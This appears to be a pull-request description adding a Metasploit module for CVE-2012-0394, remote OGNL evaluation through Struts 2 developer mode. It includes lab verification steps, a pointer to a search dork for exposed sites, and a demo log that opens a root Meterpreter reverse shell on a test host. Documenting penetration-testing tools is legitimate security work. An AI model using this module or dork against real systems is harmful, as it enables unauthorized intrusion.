Add module for CVE-2012-0394

It's a two years old vulnerability, but the developer mode on struts 2 is allowing to evaluate arbitrary OGNL expressions still, as pointed here:

http://www.pwntester.com/blog/2014/01/21/struts-2-devmode/

The same blog points a google dork which gets a lot of more than probably struts 2 sites with debug mode enabled. So I guess the module can be interesting still :)

Verification
----------

- [x] Install ubuntu 10.04 and Tomcat 7
- [x] Download struts 2.3.16 (last version)
- [x] Deploy the struts2-blank sample application, or any other struts 2 application! Just be sure it's running with developer mode enabled: http://struts.apache.org/release/2.3.x/docs/devmode.html
- [x] run the msfconsole
- [x] ```use exploit/multi/http/struts_dev_mode```
- [x] ```set RHOST <rhost> ```
- [ ] OPTIONAL: ```set RPORT```
- [ ] OPTIONAL: ```set TARGETURI``` (by default assumes the struts2-blank sample application)
- [ ] check
- [x] exploit
- [x] VERIFY check works as expected and you enjoy sessions, demo attached to easier the verfication

DEMO
--------

```
msf > use exploit/multi/http/struts_dev_mode 
msf exploit(struts_dev_mode) > set rhost 192.168.172.134
rhost => 192.168.172.134
msf exploit(struts_dev_mode) > set rport 8080
rport => 8080
msf exploit(struts_dev_mode) > check
[+] 192.168.172.134:8080 - The target is vulnerable.
msf exploit(struts_dev_mode) > exploit

[*] Started reverse handler on 192.168.172.1:4444 
[*] Sending stage (30355 bytes) to 192.168.172.134
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.134:50895) at 2014-01-25 18:22:20 -0600

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer    : ubuntu
OS          : Linux 2.6.32-38-generic (i386)
Meterpreter : java/java
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.134 - Meterpreter session 1 closed.  Reason: User exit
msf exploit(struts_dev_mode) > exit
```